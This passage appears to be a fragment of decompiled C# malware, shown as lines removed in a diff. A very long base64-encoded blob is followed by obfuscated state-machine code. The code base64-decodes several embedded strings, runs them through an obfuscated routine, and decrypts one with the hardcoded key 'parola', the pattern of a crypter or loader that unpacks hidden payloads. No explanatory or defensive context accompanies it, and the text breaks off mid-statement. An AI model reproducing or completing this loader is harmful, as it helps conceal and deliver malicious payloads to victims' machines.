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"; -label_22: - num3 = 26; - byte[] DAS4DA3 = pizde.okitokjwe33(Convert.FromBase64String(s1)); -label_23: - num3 = 27; - string str1; - string s2 = str1; -label_24: - num3 = 28; - byte[] data1 = pizde.okitokjwe33(Convert.FromBase64String(s2)); -label_25: - num3 = 29; - string str2; - string s3 = str2; -label_26: - num3 = 30; - pizde.decrypt(Convert.FromBase64String(s3), "parola"); -label_27: - num3 = 31; - string str3; - string s4 = str3; -label_28: - num3 = 32; - byte[] data2 = pizde.okitokjwe33(Convert.FromBase64String(s4)); -label_29: - num3 = 33; - 